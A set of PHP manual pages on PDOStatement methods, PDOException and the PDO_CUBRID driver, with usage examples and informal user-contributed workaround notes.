native_type | The PHP native type used to represent the column value.
driver:decl_type | The SQL type used to represent the column value in the database. If the column in the result set is the result of a function, this value is not returned by PDOStatement::getColumnMeta().
flags | Any flags set for this column.
name | The name of this column as returned by the database.
table | The name of this column's table as returned by the database.
len | The length of this column. Normally -1 for types other than floating point decimals.
precision | The numeric precision of this column. Normally 0 for types other than floating point decimals.
pdo_type | The type of this column as represented by the PDO::PARAM_* constants.

Returns FALSE if the requested column does not exist in the result set, or if no result set exists.

Changelog

Version | Description
5.2.3 | table field

Examples

Example #1 Retrieving column metadata

The following example shows the results of retrieving the metadata for a single column generated by a function (COUNT) in a PDO_SQLITE driver.

<?php
$select = $DB->query('SELECT COUNT(*) FROM fruit');
$meta = $select->getColumnMeta(0);
var_dump($meta);
?>

The above example will output:

array(6) {
  ["native_type"]=>
  string(7) "integer"
  ["flags"]=>
  array(0) {
  }
  ["name"]=>
  string(8) "COUNT(*)"
  ["len"]=>
  int(-1)
  ["precision"]=>
  int(0)
  ["pdo_type"]=>
  int(2)
}

See Also

  • PDOStatement::columnCount() - Returns the number of columns in the result set
  • PDOStatement::rowCount() - Returns the number of rows affected by the last SQL statement

User Contributed Notes

colin at fusionbox dot com 23-Jan-2009 07:38
This method is supported in the MySQL 5.0+ driver.  It can be used for object hydration:

<?php

$pdo_stmt = $dbh->execute('SELECT discussion.id, discussion.text, comment.id, comment.text FROM discussions LEFT JOIN comments ON comment.discussion_id = discussion.id');

foreach(range(0, $pdo_stmt->columnCount() - 1) as $column_index)
{
  $meta[] = $pdo_stmt->getColumnMeta($column_index);
}

while($row = $pdo_stmt->fetch(PDO::FETCH_NUM))
{
  foreach($row as $column_index => $column_value)
  {
    //do something with the data, using the ids to establish the discussion.has_many(comments) relationship.
  }
}

?>

If you are building an ORM, this method is very useful to support more natural SQL syntax.  Most ORMs require the column names to be aliases so that they can be parsed and turned into objects that properly represent has_one, has_many, many_to_many relationships.
asohn aircanopy net 29-Feb-2008 06:21
I found a short discussion related to this function at
http://www.sitepoint.com/forums/showthread.php?t=497257

I haven't tried it (yet?) but hopefully someone can find it useful.


Advances to the next rowset in a multi-rowset statement handle

  • « PDOStatement::getColumnMeta
  • PDOStatement::rowCount »
  • PHP Manual
  • PDOStatement
  • Advances to the next rowset in a multi-rowset statement handle

PDOStatement::nextRowset

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::nextRowset — Advances to the next rowset in a multi-rowset statement handle

Description

public bool PDOStatement::nextRowset ( void )

Some database servers support stored procedures that return more than one rowset (also known as a result set). PDOStatement::nextRowset() enables you to access the second and subsequent rowsets associated with a PDOStatement object. Each rowset can have a different set of columns from the preceding rowset.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Fetching multiple rowsets returned from a stored procedure

The following example shows how to call a stored procedure, MULTIPLE_ROWSETS, that returns three rowsets. We use a do / while loop to loop over the PDOStatement::nextRowset() method, which returns false and terminates the loop when no more rowsets can be returned.

<?php
$sql = 'CALL multiple_rowsets()';
$stmt = $conn->query($sql);
$i = 1;
do {
    $rowset = $stmt->fetchAll(PDO::FETCH_NUM);
    if ($rowset) {
        printResultSet($rowset, $i);
    }
    $i++;
} while ($stmt->nextRowset());

function printResultSet(&$rowset, $i) {
    print "Result set $i:\n";
    foreach ($rowset as $row) {
        foreach ($row as $col) {
            print $col . "\t";
        }
        print "\n";
    }
    print "\n";
}
?>

The above example will output:

Result set 1:
apple    red
banana   yellow

Result set 2:
orange   orange    150
banana   yellow    175

Result set 3:
lime     green
apple    red
banana   yellow

See Also

  • PDOStatement::columnCount() - Returns the number of columns in the result set
  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::getColumnMeta() - Returns metadata for a column in a result set
  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object

User Contributed Notes

et dot coder at gmail dot com 14-Oct-2014 10:37
on MSSQL and 'dsn' => 'dblib:...',:
If you know how many count rowset then don't use contruction of do..while.

<?php
do {
    $pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
} while (
    $pdoStatement->nextRowset()
);
?>
When I get large fetchAll(over 30) for second nextRowset. I get error - Segmentation fault.

Uses step-by-step insted do..while is fix for this bug:
<?php
$pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
$pdoStatement->nextRowset();
$pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
?>
guilleamathews at gmail dot com 19-Aug-2011 02:41
PDO::nextRowset() does not appear to be currently supported by the Firebird PDO driver. Unfortunate.


Returns the number of rows affected by the last SQL statement

  • « PDOStatement::nextRowset
  • PDOStatement::setAttribute »
  • PHP Manual
  • PDOStatement
  • Returns the number of rows affected by the last SQL statement

PDOStatement::rowCount

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::rowCount — Returns the number of rows affected by the last SQL statement

Description

public int PDOStatement::rowCount ( void )

PDOStatement::rowCount() returns the number of rows affected by the last DELETE, INSERT, or UPDATE statement executed by the corresponding PDOStatement object.

If the last SQL statement executed by the associated PDOStatement was a SELECT statement, some databases may return the number of rows returned by that statement. However, this behaviour is not guaranteed for all databases and should not be relied on for portable applications.

Return Values

Returns the number of rows.

Examples

Example #1 Return the number of deleted rows

PDOStatement::rowCount() returns the number of rows affected by a DELETE, INSERT, or UPDATE statement.

<?php
/* Delete all rows from the FRUIT table */
$del = $dbh->prepare('DELETE FROM fruit');
$del->execute();

/* Return number of rows that were deleted */
print("Return number of rows that were deleted:\n");
$count = $del->rowCount();
print("Deleted $count rows.\n");
?>

The above example will output:

Return number of rows that were deleted:
Deleted 9 rows.

Example #2 Counting rows returned by a SELECT statement

For most databases, PDOStatement::rowCount() does not return the number of rows affected by a SELECT statement. Instead, use PDO::query() to issue a SELECT COUNT(*) statement with the same predicates as your intended SELECT statement, then use PDOStatement::fetchColumn() to retrieve the number of rows that will be returned. Your application can then perform the correct action.

<?php
$sql = "SELECT COUNT(*) FROM fruit WHERE calories > 100";
if ($res = $conn->query($sql)) {

    /* Check the number of rows that match the SELECT statement */
  if ($res->fetchColumn() > 0) {

        /* Issue the real SELECT statement and work with the results */
         $sql = "SELECT name FROM fruit WHERE calories > 100";
       foreach ($conn->query($sql) as $row) {
           print "Name: " .  $row['NAME'] . "\n";
         }
    }
    /* No rows matched -- do something else */
  else {
      print "No rows matched the query.";
    }
}

$res = null;
$conn = null;
?>

The above example will output:

apple
banana
orange
pear

See Also

  • PDOStatement::columnCount() - Returns the number of columns in the result set
  • PDOStatement::fetchColumn() - Returns a single column from the next row of a result set
  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object

User Contributed Notes

phpnet at maya-control dot ro 10-Apr-2014 08:09
Yet another workaround to return the row count inside only ONE select (see limitations below!):

$sth = $dbh->prepare("SELECT *,count(*) AS howmany FROM users WHERE email=:email and password=:pass"); #var placeholders
$sth->execute(array(':email'=>$email, ':pass'=>$pass)); #var binding
$row = $sth->fetch(); #get one row (it'll always be one and only one!!!)

if ($row['howmany'] == 1){ #we have a match and only one! cool!
    echo $row['email'], $row['name'], $row['phone'], ... ;
} elseif ($row['howmany']>1) { #more than one row returned
    #one programmer should be fired 'cause he's not checking for
    #for existing emails, before creating a new user
    ...
    # treat this exception somehow or simply skip this branch,
    # if you're sure it won't happen in your table
} else { #no match in the table ($row['howmany'] == 0)
    echo "Email/pass didn't match the ones in the database!";
}

Advantages:
- only one select statement is executed, no two steps needed!
- it checks if one row exists in the table or not, according to the WHERE clause.
- it returns all (or only a selection of) fields for that one row, if exists.

Disadvantages:
- it doesn't return row fields reliable if more than one row found. If more than one row responds to the SELECT query, the query returns still only one row and you don't know which one exactly .
Maybe using a SORT BY, would make it a bit more predictible (as in: "if more than one users found, return the last user added in the table") but it's more a matter of good design of the program that fills in the table initially.

Uses:
- It is perfect for checking if a user/pass pair is present in a users table and to return the other fields of the user (like name, phone, whatever) if user was found.
sERGE-01 04-Nov-2013 09:15
In some drivers rowCount() only works when using the prepare() with PDO::CURSOR_SCROLL
So, you can modify PDO class:

<?php
class myPDO extends PDO
{
    function query($query, $values=null)
    {
        if($query == "")
            return false;

        if($sth = $this->prepare($query, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL)))
        {
            $res = ($values) ? $sth->execute($values) : $sth->execute();
            if(!$res)
                return false;
        }
        return $sth;
    }
}
?>

Now let's test (i using php 5.2.9-2):

<?php
function TestRowCount($dsn, $db_user, $db_pass)
{
    $pdh = new PDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("SELECT * FROM sys.tables");
    print "rowCount() Standart: ".$sth->rowCount()."<br>";

    $pdh = new myPDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("SELECT * FROM sys.tables");
    print "rowCount() New: ".$sth->rowCount()."<br><br>";

    $pdh=null;
}

$db_server = "xxx";
$db_name = "xxx";
$db_user = "xxx";
$db_pass = "xxx";

print "PDO_MSSQL"."<br>";
TestRowCount("mssql:host=$db_server;dbname=$db_name", $db_user, $db_pass);

print "MSSQL throw PDO_ODBC"."<br>";
TestRowCount("odbc:DRIVER={SQL Server};SERVER=$db_server;DATABASE=$db_name;", $db_user, $db_pass);

print "MS SQL driver 2.0"."<br>";
TestRowCount("sqlsrv:server=$db_server;Database=$db_name", $db_user, $db_pass);
?>

My results:
-------------------
PDO_MSSQL
rowCount() Standart: 0
rowCount() New: 0

MSSQL throw PDO_ODBC
rowCount() Standart: -1
rowCount() New: 53

MS SQL driver 2.0
rowCount() Standart: -1
rowCount() New: 53
-------------------

With myPDO class you can use prepared queries like:
<?php
    $pdh = new myPDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("select * from data where id>? or name like ?", array(100, "A%"));
?>
user at nospam dot example dot com 04-Sep-2013 03:49
MySQL does not seem to return anything in rowCount for a select statement, but you can easily and efficiently get the row count as follows:

class db extends PDO {
  public function last_row_count() {
    return $this->query("SELECT FOUND_ROWS()")->fetchColumn();
  }
}

$myDb = new db('mysql:host=myhost;dbname=mydb', 'login', 'password' );

Then, after running your query:

if ( $myDb->last_row_count() == 0 ) {
  echo "Do something!";
  }
Daniel Karp 31-Aug-2012 09:09
Note that an INSERT ... ON DUPLICATE KEY UPDATE statement is not an INSERT statement, rowCount won't return the number or rows inserted or updated for such a statement.  For MySQL, it will return 1 if the row is inserted, and 2 if it is updated, but that may not apply to other databases.
leandro at marquesini dot com 03-Jan-2012 07:04
To display information only when the query is not empty, I do something like this:

<?php
    $sql = 'SELECT model FROM cars';
    $stmt = $db->prepare($sql);
    $stmt->execute();

    if ($data = $stmt->fetch()) {
        do {
            echo $data['model'] . '<br>';
        } while ($data = $stmt->fetch());
    } else {
        echo 'Empty Query';
    }
?>
dcahh at gmx dot de 19-Aug-2011 03:53
It's pretty obvious, but might save one or the other from bug tracking...

Alltough rowCount ist returned by the statement, one has to execute the statement before rowCount returns any results...

Does not work
<?php
    $statement = $dbh->prepare('SELECT FROM fruit');
    $count = $statement->rowCount();
?>

Works
<?php
    $statement = $dbh->prepare('SELECT FROM fruit');
    $statement->execute();
    $count = $statement->rowCount();
?>
Ome Ko 16-Jul-2011 09:08
When updating a Mysql table with identical values nothing's really affected so rowCount will return 0. As Mr. Perl below noted this is not always preferred behaviour and you can change it yourself since PHP 5.3.

Just create your PDO object with
<? php
$p = new PDO($dsn, $u, $p, array(PDO::MYSQL_ATTR_FOUND_ROWS => true));
?>
and rowCount() will tell you how many rows your update-query actually found/matched.
e dot sand at elisand dot com 19-Nov-2008 08:32
My rowCount() workaround & how it's used:

<?php
class MyPDO extends PDO {
    private $queryString;

    public function query(/* ... */) {
        $args = func_get_args();
        $this->queryString = func_get_arg(0);

        return call_user_func_array(array(&$this, 'parent::query'), $args);
    }

    public function rowCount() {
        $regex = '/^SELECT\s+(?:ALL\s+|DISTINCT\s+)?(?:.*?)\s+FROM\s+(.*)$/i';
        if (preg_match($regex, $this->queryString, $output) > 0) {
            $stmt = parent::query("SELECT COUNT(*) FROM {$output[1]}", PDO::FETCH_NUM);

            return $stmt->fetchColumn();
        }

        return false;
    }
}

$pdo = new MyPDO("sqlite::memory:");
$result = $pdo->query("SELECT row1, row2 FROM table WHERE something = 5");

if ($pdo->rowCount() > 0) {
    echo "{$result['row1']}, {$result['row2']}";
}
?>
e dot sand at elisand dot com 19-Nov-2008 08:30
As of SQLite 3.x, the SQLite API itself changed and now all queries are implemented using "statements".  Because of this, there is no way for PDO to know the rowCount of a SELECT result because the SQLite API itself doesn't offer this ability.

As a workaround, I created my own rowCount() function - it's a bit of a hack and hasn't been fully tested yet (I don't know how it will work when using JOINs in SELECTs, etc...), but at least alleviates the necessity for SELECT COUNT(*)'s everywhere in your code.

I would have preferred if it were possible to overload the rowCount() function from PDOStatement, but I don't think it's possible (or I don't know how to do it).  There's also potential room for a bit more security ensuring that $queryString is wiped clean after other query()s so that you don't get a bad result, etc...

The actual code should be posted in the above/below post (max post limits, argh!).  If others wish to extend/perfect this method, please keep me posted with an email as to what you've done.
gunnrosebutpeace at gmail dot com 03-Jun-2008 12:19
It'd better to use SQL_CALC_FOUND_ROWS, if you only use MySQL. It has many advantages as you could retrieve only part of result set (via LIMIT) but still get the total row count.
code:
<?php
$db = new PDO(DSN...);
$db->setAttribute(array(PDO::MYSQL_USE_BUFFERED_QUERY=>TRUE));
$rs  = $db->query('SELECT SQL_CALC_FOUND_ROWS * FROM table LIMIT 5,15');
$rs1 = $db->query('SELECT FOUND_ROWS()');
$rowCount = (int) $rs1->fetchColumn();
?>
Matt 07-Oct-2007 06:22
Great, while using MySQL5, the only way to get the number of rows after doing a PDO SELECT query is to either execute a separate SELECT COUNT(*) query (or to do count($stmt->fetchAll()), which seems like a ridiculous waste of overhead and programming time.

Another gripe I have about PDO is its inability to get the value of output parameters from stored procedures in some DBMSs, such as SQL Server.

I'm not so sure I'm diggin' PDO yet.


Set a statement attribute

  • « PDOStatement::rowCount
  • PDOStatement::setFetchMode »
  • PHP Manual
  • PDOStatement
  • Set a statement attribute

PDOStatement::setAttribute

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::setAttribute — Set a statement attribute

Description

public bool PDOStatement::setAttribute ( int $attribute , mixed $value )

Sets an attribute on the statement. Currently, no generic attributes are set but only driver specific:

  • PDO::ATTR_CURSOR_NAME (Firebird and ODBC specific): Set the name of cursor for UPDATE ... WHERE CURRENT OF.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • PDO::getAttribute() - Retrieve a database connection attribute
  • PDO::setAttribute() - Set an attribute
  • PDOStatement::getAttribute() - Retrieve a statement attribute

User Contributed Notes

There are no user contributed notes for this page.


Set the default fetch mode for this statement

  • « PDOStatement::setAttribute
  • PDOException »
  • PHP Manual
  • PDOStatement
  • Set the default fetch mode for this statement

PDOStatement::setFetchMode

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::setFetchMode — Set the default fetch mode for this statement

Description

public bool PDOStatement::setFetchMode ( int $mode )
public bool PDOStatement::setFetchMode ( int $PDO::FETCH_COLUMN , int $colno )
public bool PDOStatement::setFetchMode ( int $PDO::FETCH_CLASS , string $classname , array $ctorargs )
public bool PDOStatement::setFetchMode ( int $PDO::FETCH_INTO , object $object )

Parameters

mode

The fetch mode must be one of the PDO::FETCH_* constants.

colno

Column number.

classname

Class name.

ctorargs

Constructor arguments.

object

Object.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting the fetch mode

The following example demonstrates how PDOStatement::setFetchMode() changes the default fetch mode for a PDOStatement object.

<?php
$sql = 'SELECT name, colour, calories FROM fruit';
try {
  $stmt = $dbh->query($sql);
  $result = $stmt->setFetchMode(PDO::FETCH_NUM);
  while ($row = $stmt->fetch()) {
    print $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
  }
}
catch (PDOException $e) {
  print $e->getMessage();
}
?>

The above example will output:

apple   red     150
banana  yellow  250
orange  orange  300
kiwi    brown   75
lemon   yellow  25
pear    green   150
watermelon      pink    90

User Contributed Notes

Dormilich at netscape dot net 13-Jul-2010 11:16
if you want to fetch your result into a class (by using PDO::FETCH_CLASS) and want the constructor to be executed *before* PDO assings the object properties, you need to use the PDO::FETCH_PROPS_LATE constant:

<?php
$stmt = $pdo->prepare("your query");

$stmt->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, "className", $constructorArguments);

# pass parameters, if required by the query
$stmt->execute($parameters);

foreach ($stmt as $row)
{
    // do something with (each of) your object
}
?>
stein_AT_rhrk.uni-kl.de 20-Nov-2007 01:04
Some note on PDO :: FETCH_CLASS | PDO :: FETCH_CLASSTYPE

It took me some time, to realize, that you can not use this fetch-mode in $stm->setFetchMode(), when you want to retrieve objects from the database whereas the type is defined by the first column in the resultset.
You have to define this mode directly in the $stm->fetch() method.

To make it clearer:

$stm = $pdo->query("SELECT * FROM `foo`);
$stm->setFetchMode(FETCH_CLASS | PDO :: FETCH_CLASSTYPE);

$object = $stm->fetch();

Will not return the expected object, whereas

$stm = $pdo->query("SELECT * FROM `foo`");

$object = $stm->fetch(FETCH_CLASS | PDO :: FETCH_CLASSTYPE);

will give you the object of the class, defined in the first column of `foo`.
matt at kynx dot org 18-Feb-2006 12:13
To fetch the rows into an existing instance of a class, use PDO::FETCH_INTO and pass the object as the second parameter.

The class _must_ have the column names declared as public members, or the script will die. But overloading with __set() and __get() lets it handle any column your query throws at it.

Set the fetch mode right after you call prepare(). It appears you _must_ use execute() - fetch() won't work. A small example, adapted from ext/pdo/tests/pdo_025.phpt:

<?php
class Test
{
    protected $cols;

    function __set($name, $value) {
        $this->cols[$name] = $value;
    }

    function __get($name) {
        return $this->cols[$name];
    }
}

$obj = new Test();
$db = PDOTest::factory();
$stmt = $db->prepare("select * from test");
$stmt->setFetchMode(PDO::FETCH_INTO, $obj);
$stmt->execute();

foreach ($stmt as $a) {
    print_r($a);
}

print_r($obj); // contains the same values as the last iteration above
?>
Dariusz Kielar 13-Feb-2006 07:55
PDO::FETCH_CLASS may be used only with this method and it takes up to three parameters then:
 - int mode
 - string className
 - array constructorArgs (optional)

<?php
$stmt = $pdo -> query('your query');
$stmt -> setFetchMode(PDO::FETCH_CLASS, 'yourClass', array(0 => false));

while($row = $stmt -> fetch())
{
   // $row is an object of "yourClass" class
}
$stmt -> closeCursor();
?>

Note also that the constructor is called AFTER the data is set on the object.


The PDOException class

(PHP 5 >= 5.1.0)

Introduction

Represents an error raised by PDO. You should not throw a PDOException from your own code. See Exceptions for more information about Exceptions in PHP.

Class synopsis

PDOException extends RuntimeException {
/* Properties */
public array $errorInfo ;
protected string $code ;
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

errorInfo

Corresponds to PDO::errorInfo() or PDOStatement::errorInfo()

code

SQLSTATE error code. Use Exception::getCode() to access it.

User Contributed Notes

radu.potop at wooptoo.com 27-Mar-2014 04:56
Since PDOException returns the error code as a string, you need a constructor like the one below if you wish to rethrow the PDOException as a custom exception.
This constructor does not call the parent::__construct which will enforce the int type on the error code, but set the message and code as properties directly on the custom exception object.

<?php

class CustomException extends PDOException {

    /**
     * Override constructor and set message and code properties.
     * Workaround PHP BUGS #51742, #39615
     */
    public function __construct($message=null, $code=null) {
        $this->message = $message;
        $this->code = $code;
    }

}
Marco01_809 &#34;at&#34; web &#34;dot&#34; de 21-Aug-2010 02:06
This is a PDOException Error handler for Using/Debugging in Web Browser.

<?php
echo '<html><head><title>PHP PDO Tests</title></head><body>';

// Try the following code:
try {
    $db = new PDO('sqlite:database.sdb'); // Create a new PDO Object
    $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Set Errorhandling to Exception

    $db->query("BlaBlaBla"); // Query something wrong

    $db = null; // "Disconnect"
}
catch (PDOException $err) {
    // Catch Expcetions from the above code for our Exception Handling
    $trace = '<table border="0">';
    foreach ($err->getTrace() as $a => $b) {
        foreach ($b as $c => $d) {
            if ($c == 'args') {
                foreach ($d as $e => $f) {
                    $trace .= '<tr><td><b>' . strval($a) . '#</b></td><td align="right"><u>args:</u></td> <td><u>' . $e . '</u>:</td><td><i>' . $f . '</i></td></tr>';
                }
            } else {
                $trace .= '<tr><td><b>' . strval($a) . '#</b></td><td align="right"><u>' . $c . '</u>:</td><td></td><td><i>' . $d . '</i></td>';
            }
        }
    }
    $trace .= '</table>';
    echo '<br /><br /><br /><font face="Verdana"><center><fieldset style="width: 66%; border: 4px solid white; background: black;"><legend><b>[</b>PHP PDO Error ' . strval($err->getCode()) . '<b>]</b></legend> <table border="0"><tr><td align="right"><b><u>Message:</u></b></td><td><i>' . $err->getMessage() . '</i></td></tr><tr><td align="right"><b><u>Code:</u></b></td><td><i>' . strval($err->getCode()) . '</i></td></tr><tr><td align="right"><b><u>File:</u></b></td><td><i>' . $err->getFile() . '</i></td></tr><tr><td align="right"><b><u>Line:</u></b></td><td><i>' . strval($err->getLine()) . '</i></td></tr><tr><td align="right"><b><u>Trace:</u></b></td><td><br /><br />' . $trace . '</td></tr></table></fieldset></center></font>';
}

echo '</body></html>';
?>
samuelelliot+php dot net at gmail dot com 15-May-2010 09:45
PDOException has two methods for retrieving information about an error. When interpreting the PDOException I run into a problem, the error code that is provided by getCode() is meaningless.  I have come up with a method to make both the error code and message more usable.

A bad username or password would normally provide the following:

CODE : 0
Message : "SQLSTATE[28000] [1045] Access denied for user 'user'@'example.com' (using password: YES)"

Using my extended exception class provides:

CODE: "28000"
Message: "Access denied for user 'user'@'example.com' (using password: YES)"

<?php
class pdoDbException extends PDOException {

    public function __construct(PDOException $e) {
        if(strstr($e->getMessage(), 'SQLSTATE[')) {
            preg_match('/SQLSTATE\[(\w+)\] \[(\w+)\] (.*)/', $e->getMessage(), $matches);
            $this->code = ($matches[1] == 'HT000' ? $matches[2] : $matches[1]);
            $this->message = $matches[3];
        }
    }
}
?>

To walk threw the method; first the beginning of the message is checked for the SQLSTATE text.  If the text is present, message is then parsed to pull the ANSI code, the SQL specific code, and the message.  The parsed values are stored in there respective variables.  The error code variable stores the ANSI code, unless ANSI is 'HT000' (unmapped error code) then SQL specific code is used.

Using this class is easy; when interacting with PDO use a try catch set of blocks, as follows:

<?php
try {
    $pdo = new PDO($dns, $username, $password, $options);
} catch (PDOException $e) {
    throw new pdoDbException($e);
}
?>

Now you can use the normal error methods to retrieve the real error code and message.

<?php
echo $err->getCode(); // Outputs: "28000"
echo $err->getMessage(); // Outputs: "Access denied for user 'user'@'example.com' (using password: YES)"
?>

If you decide to use this code, be aware that the error code is a string (as apposed to PHP standard errors which are integers) as some error codes are alphanumeric.
Typer85 at gmail dot com 23-Jan-2010 03:13
Here is something interesting regarding a PDOException and it involves some of the annoyances that can be associated with PHP's dynamic nature.

PDOException extends from RuntimeException, which in return extends from Exception. As such, it has access to the $code Protected Class Variable, which represents the Exception's code as an Integer (duh!) and can be accessed externally using the Exception::getCode Method.

Here is the interesting part. PDOException actually redefines $code as a String and not an Integer because for its case, $code actually contains the Exception's SQL State, which is composed of characters and numbers.

It is actually documented in the manual that $code is a String and not an Integer but it might not be immedietley clear because it is hidden by the fact that PDOException::getCode is documented to return an Integer and not a String!

Some developers like to catch a PDOException and rethrow it as a different Exception if they wrap their database calls in an external library. For example, consider the following code:

<?php

try {
    $PDO = new PDO( '...' ); // PDO Driver DSN. Throws A PDOException.
}
catch( PDOException $Exception ) {
    // PHP Fatal Error. Second Argument Has To Be An Integer, But PDOException::getCode Returns A
    // String.
    throw new MyDatabaseException( $Exception->getMessage( ) , $Exception->getCode( ) );
}

?>

Be careful in that you have to typecast the value returned by PDOException::getCode to an Integer BEFORE you pass it as an Argument to your Exception's Constructor. The following will work:

<?php

try {
    $PDO = new PDO( '...' ); // PDO Driver DSN. Throws A PDOException.
}
catch( PDOException $Exception ) {
    // Note The Typecast To An Integer!
    throw new MyDatabaseException( $Exception->getMessage( ) , (int)$Exception->getCode( ) );
}

?>

Hope this will save some developers some frustrating hours from an otherwise enjoyable job :)

Good Luck,


PDO Drivers

Table of Contents

  • CUBRID (PDO)
  • MS SQL Server (PDO)
  • Firebird (PDO)
  • IBM (PDO)
  • Informix (PDO)
  • MySQL (PDO)
  • MS SQL Server (PDO)
  • Oracle (PDO)
  • ODBC and DB2 (PDO)
  • PostgreSQL (PDO)
  • SQLite (PDO)
  • 4D (PDO)

The following drivers currently implement the PDO interface:

Driver name | Supported databases
PDO_CUBRID | Cubrid
PDO_DBLIB | FreeTDS / Microsoft SQL Server / Sybase
PDO_FIREBIRD | Firebird
PDO_IBM | IBM DB2
PDO_INFORMIX | IBM Informix Dynamic Server
PDO_MYSQL | MySQL 3.x/4.x/5.x
PDO_OCI | Oracle Call Interface
PDO_ODBC | ODBC v3 (IBM DB2, unixODBC and win32 ODBC)
PDO_PGSQL | PostgreSQL
PDO_SQLITE | SQLite 3 and SQLite 2
PDO_SQLSRV | Microsoft SQL Server / SQL Azure
PDO_4D | 4D

User Contributed Notes

There are no user contributed notes for this page.


CUBRID Functions (PDO_CUBRID)

Introduction

PDO_CUBRID is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to CUBRID databases.

Note:

Current version of PDO_CUBRID doesn't support persistent connection now.

Installation

To build the PDO_CUBRID extension, the CUBRID DBMS must be installed on the same system as PHP. PDO_CUBRID is a » PECL extension, so follow the instructions in Installation of PECL extensions to install the PDO_CUBRID extension. Issue the configure command to point to the location of your CUBRID base dir as follows:

   $ ./configure --with-pdo-cubrid=/path/to/CUBRID[,shared]
The configure command defaults to the value of the CUBRID environment variable.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section. Detailed information about installation on Linux and Windows manually, please read build-guide.html in PECL package CUBRID for reference.

Features

PDO_CUBRID Features
Feature | Description
Scrollable cursors | PDO_CUBRID supports scrollable cursors. The default cursor type is forward only, and you can use parameter driver_options in PDO::prepare() to change cursor type.
Timeout | PDO_CUBRID supports sql statement execution timeout setting; You can use PDO::setAttribute() to set timeout value.
Autocommit_mode and Transaction PDO_CUBRID supports both autocommit_mode and transaction, and autocommit_mode is enabled by default. You can use PDO::setAttribute() to change its state.

If you use PDO::beginTransaction() to begin a transaction, it will disable autocommit_mode automatically and restore it after PDO::commit() or PDO::rollBack(). Note that before disabling the autocommit_mode, any pending work is automatically committed.

Multiple SQL Statements | PDO_CUBRID supports Multiple SQL statements. Multiple SQL statements are separated by semicolons (;)
Schema Information | PDO_CUBRID implements a function PDO::cubrid_schema() to get schema information.
LOBs PDO_CUBRID supports BLOB/CLOB data type. The LOB in PDO is represented as a stream, so you can insert LOBs by binding a stream, and get LOBs by reading a stream returned by CUBRID PDO. For example:

Example #1 Insert LOBs in CUBRID PDO

<?php
$fp = fopen('lob_test.png', 'rb');

$sql_stmt = "INSERT INTO lob_test(name, content) VALUES('lob_test.png', ?)";

$stmt = $dbh->prepare($sql_stmt);
$ret = $stmt->bindParam(1, $fp, PDO::PARAM_LOB);
$ret = $stmt->execute();
?>

Example #2 Fetch LOBs in CUBRID PDO

<?php
$sql_stmt = "SELECT content FROM lob_test WHERE name='lob_test.png'";

$stmt = $dbh->prepare($sql_stmt);
$stmt->execute();
$result = $stmt->fetch(PDO::FETCH_NUM);

header("Content-Type: image/png");
fpassthru($result[0]);
?>

Column meta The PDOStatement::getColumnMeta() in CUBRID PDO will return an associative array containing the following values:
  • type
  • name
  • table
  • def
  • precision
  • scale
  • not_null
  • auto_increment
  • unique_key
  • multiple_key
  • primary_key
  • foreign_key
  • reverse_index
  • reverse_unique
Collection Data Type PDO_CUBRID supports SET/MULTISET/SEQUENCE data type. If you don't specify data type, the default data type is char,for example:

Example #3 Insert set in CUBRID PDO with default data type.

<?php
$conn_str ="cubrid:dbname=demodb;host=localhost;port=33000";
$cubrid_pdo = new PDO($conn_str, 'dba', '');

$cubrid_pdo->exec("DROP TABLE if exists test_tbl");
$cubrid_pdo->exec("CREATE TABLE test_tbl (col_1 SET(VARCHAR))");

$sql_stmt_insert = "INSERT INTO test_tbl VALUES (?);";
$stmt = $cubrid_pdo->prepare($sql_stmt_insert);
$data = array("abc","def","ghi");
$ret = $stmt->bindParam(1, $data, PDO::PARAM_NULL);
$ret = $stmt->execute();
var_Dump($ret);
?>

Example #4 Specify data type when insert set in CUBRID PDO

<?php
$conn_str ="cubrid:dbname=demodb;host=localhost;port=33000";
$cubrid_pdo = new PDO($conn_str, 'dba', '');

$cubrid_pdo->exec("DROP TABLE if exists test_tbl");
$cubrid_pdo->exec("CREATE TABLE test_tbl (col_1 SET(int))");

$sql_stmt_insert = "INSERT INTO test_tbl VALUES (?);";
$stmt = $cubrid_pdo->prepare($sql_stmt_insert);
$data = array(1,2,3,4);
$ret = $stmt->bindParam(1, $data, 0,0,"int");
$ret = $stmt->execute();
var_Dump($ret);
?>

CUBRID Bind Data Types:(The fifth parameter of PDOStatement::bindParam):
  • CHAR
  • STRING
  • NCHAR
  • VARNCHAR
  • BIT
  • VARBIT
  • NUMERIC
  • NUMBER
  • INT
  • SHORT
  • BIGINT
  • MONETARY
  • FLOAT
  • DOUBLE
  • DATE
  • TIME
  • DATETIME
  • TIMESTAMP

Predefined Constants

The constants below are defined by this driver, and will only be available when the extension has been either compiled into PHP or dynamically loaded at runtime. In addition, these driver-specific constants should only be used if you are using this driver. Using driver-specific attributes with another driver may result in unexpected behaviour. PDO::getAttribute() may be used to obtain the PDO_ATTR_DRIVER_NAME attribute to check the driver, if your code can run against multiple drivers.

